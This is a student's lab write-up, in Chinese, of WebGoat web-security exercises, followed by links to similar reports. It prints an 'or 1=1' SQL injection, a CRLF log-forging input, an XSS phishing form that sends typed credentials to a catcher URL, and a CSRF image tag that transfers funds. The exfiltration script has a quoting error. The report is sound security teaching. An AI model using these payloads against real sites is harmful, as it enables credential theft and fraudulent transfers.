Exp9: Web安全基础

一、基础知识

1.SQL注入攻击

  • 基本原理:

    • 就是不法分子利用编程漏洞,通过表单输入特殊字符和恶意SQL代码,使得后台执行SQL查询时,对数据库产生不可预知或不可逆的攻击或破坏。
  • 防御方法:
    • 避免不必要的表单提交页面。
    • 对表单输入进行控制,如:限制字符类型,限制字符长度等
    • 在数据库层利用授权机制,限制数据库操作行为。

2.XSS跨站脚本攻击

  • 基本原理:

    • 攻击者利用网站漏洞,将恶意脚本代码通过注入,或者其他方式发送或存储到服务器中,通过利用用户对于浏览器的信任,当正常用户访问该服务器时就会受到脚本攻击,例如获得该用户的cookie或其他信息等。
  • 防御方法:
    • 用户尽量不要保存自己在浏览器中输入的用户名和密码
    • 网站开发人员应该对用户上传的数据进行一定的过滤
    • 对输入表单进行控制

3.CSRF跨站请求伪造

  • 基本原理:

    • 当用户访问网站A时输入用户名和密码,在通过验证后,网站A产生Cookie信息并返回,此时登录网站A成功,可正常发送请求到网站A。在未退出网站A前,若访问另一个恶意网站B,网站B可返回一些攻击性代码并请求访问网站A;因此在网站B的请求下,向网站A发出请求。但网站A不知道该请求恶意的,因此还是会执行该恶意代码。
  • 防御方法:
    • 验证请求中的Token
    • 验证Referer
    • 添加随机验证
    • 设定cookie域

二、SQL注入

1. 命令注入

  • 攻击过程:在表单提交中传入恶意命令数据,使其在服务器端执行。
  • 实验过程:
    • 在页面中点击鼠标右键,选择inspect Element
    • 按键盘f12查看网页源代码

    • 点击view按钮,执行代码结果如下:

2. 数字注入

  • 攻击过程:在表单输入中输入数字生成永真式,使得注入的SQL语句必定可以执行。
  • 实验过程:
    • 在实验网页上查看源代码,对value='101'进行修改,添加or 1=1构成永真式,如图:

    • 点击按钮执行,结果如下:

3. 日志欺骗

  • 攻击过程:不法分子通过在注入脚本,通过脚本修改日志文件。
  • 实验过程:
    • 在实验环境提供的表单中输入2329%0d%0aLogin Succeeded for username: 162329其中%0d%0a为回车符和换行符。
    • 结果如下图:

三、XSS攻击

1. XSS钓鱼攻击

  • 攻击过程:通过表单输入脚本,修改网页HTML,生成钓鱼网站,当用户输入时获取用户输入的信息。
  • 实验过程:
    • 在实验环境表单中输入脚本代码,构造钓鱼界面。
    • 界面代码如下:
<form>
<br><br><HR><H3>This feature requires account login:</H3 ><br><br>
Enter Username:<br><input type="text" id="user" name="user"><br>
Enter Password:<br><input type="password" name = "pass"><br>
</form><br><br><HR>
<script>
function hack()
{
alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value);
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + ";
}
</script>
  • 将以上代码输入搜索框中,点击搜索如图:

  • 当用户点击提交时攻击者界面会出现如下图:

四、CSRF攻击

1. 跨站请求伪造

  • 攻击过程:

    • 给用户发送一个恶意URL诱使其他用户点击,从而触发CSRF攻击。为了使用户更容易受骗,我们可以以图片的形式隐藏URL。
  • 实验过程:
    • 查看参数中src和menu值,为261和900
    • 在message框中输入<img src="http://localhost:8080/WebGoat/attack? Screen=261&menu=900&transferFunds=2329"/>点击提交后结果如下:

    • 当用户点击Message字段中的图片时就会盗取用户2329元

五、实验总结与体会

通过本次实验真实的感受了什么是SQL注入,XSS攻击和CRSF攻击,在实验中了解了其中的流程,也自己总结了对这些攻击的防御方法,感觉受益匪浅。

2018-2019-2 20162329 《网络对抗技术》Exp9: Web安全基础的更多相关文章

  1. 20145226夏艺华 网络对抗技术 EXP9 web安全基础实践

    20145226夏艺华 网络对抗技术 EXP9 web安全基础实践 !!!免考项目:wannacry病毒分析+防护 一.实验后回答问题 SQL注入攻击原理,如何防御 攻击原理 "SQL注入& ...

  2. 2018-2019-2 20165205 网络对抗技术 Exp9 Web安全基础

    2018-2019-2 20165205 网络对抗技术 Exp9 Web安全基础 1.基础问题 SQL注入攻击原理,如何防御 原理: SQL注入指攻击者在提交查询请求时将SQL语句插入到请求内容中,同 ...

  3. 20155208徐子涵《网络对抗》Exp9 Web安全基础

    20155208徐子涵<网络对抗>Exp9 Web安全基础 实验要求 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验过程 最后一次了,没有选择尝试免考项目 ...

  4. 20145208 蔡野 《网络对抗》Exp9 web安全基础实践

    20145208 蔡野 <网络对抗>Exp9 web安全基础实践 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验后回答问题 (1)SQL注入攻击原理,如何 ...

  5. #20155232《网络对抗》Exp9 Web安全基础

    20155232<网络对抗>Exp9 Web安全基础 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验过程 WebGoat Webgoat是OWASP组织研 ...

  6. 20155302《网络对抗》Exp9 Web安全基础

    20155302<网络对抗>Exp9 Web安全基础 实验内容 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验过程 1.webgoat的安装启动 使用自己 ...

  7. 20155308《网络对抗》Exp9 Web安全基础实践

    20155308<网络对抗>Exp9 Web安全基础实践 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 基础问题回答 SQL注入攻击原理,如何防御? 原理:攻 ...

  8. 20155323刘威良《网络对抗》Exp9 Web安全基础

    20155323刘威良<网络对抗>Exp9 Web安全基础 实践目的 理解常用网络攻击技术的基本原理. 实践内容 Webgoat实践下相关实验. 实践过程 开启WebGoat WebGoa ...

  9. 20145301赵嘉鑫 《网络对抗》Exp9 Web安全基础实践

    20145301赵嘉鑫 <网络对抗>Exp9 Web安全基础实践 实验后回答问题 (1)SQL注入攻击原理,如何防御 SQL注入攻击原理:SQL 是一门 ANSI 的标准计算机语言,用来访 ...

  10. 20145233《网络对抗》Exp9 Web安全基础实践

    20145233<网络对抗>Exp9 Web安全基础实践 实验问题思考 SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符 ...

随机推荐

  1. .NET Core on K8S快速入门课程--学习笔记

    课程链接:http://video.jessetalk.cn/course/explore 良心课程,大家一起来学习哈! 目录 01-介绍K8s是什么 02-为什么要学习k8s 03-如何学习k8s ...

  2. 【React】Redux入门 & store体验

    组件间传值联动是令人头疼的问题,尤其是一个组件影响多个其他组件状态变化的时候,常常需要一级一级与父组件传值,与父组件的兄弟组件传值等等, 如何化繁为简地处理‘牵一发动全身’的清理就是将所有组件的sta ...

  3. 在Angular4中使用ng2-baidu-map详解

    一.引言 之前在Angular4使用过百度地图,记录一下踩过的坑 二.实现 1.安装 npm install angular2-baidu-map 2.在app.module.ts配置 ak key在 ...

  4. [git] your branch is ahead of ... 解决办法

    出现该问题表示在次之前已经有X个commite了,执行命令git reset --hard HEAD~X解决其中X表示有多少次提交,此命令的意思是回退到x个commit之前.git reset --h ...

  5. Django框架操作数据库的两种方式

    Django操作数据库的前提操作是成功连接数据库,详情见上篇:https://www.cnblogs.com/kristin/p/10791358.html Django查询数据库的方式一 from ...

  6. Scrum 冲刺第二篇

    我们是这次稳了队,队员分别是温治乾.莫少政.黄思扬.余泽端.江海灵 一.会议 1.1  26号站立式会议照片: 1.2  昨天已完成的事情 团队成员 任务内容 黄思扬 Web 端首页.内容管理页开发. ...

  7. JavaScript深入浅出第4课:V8引擎是如何工作的?

    摘要: 性能彪悍的V8引擎. <JavaScript深入浅出>系列: JavaScript深入浅出第1课:箭头函数中的this究竟是什么鬼? JavaScript深入浅出第2课:函数是一等 ...

  8. Django Form 初始化数据

    修改 urls.py 添加 path('initial.html', views.initial), 修改 models.py class UserInfo(models.Model): name = ...

  9. 003-OpenStack-镜像服务

    OpenStack-镜像服务 [基于此文章的环境]点我快速打开文章 1.安装和配置 控制节点(controller) 1.1 创库授权 glance mysql CREATE DATABASE gla ...

  10. lf 前后端分离 (2) 课程数据获取,Serializer的返回

    一.关于课程数据的返回 在进行前后端分离时,会通过def 进行前后端传值, 本质上遵循rest 网址规范  增删改查查 get,post,put,del get(\d+) 1.在从数据库获取数据后,进 ...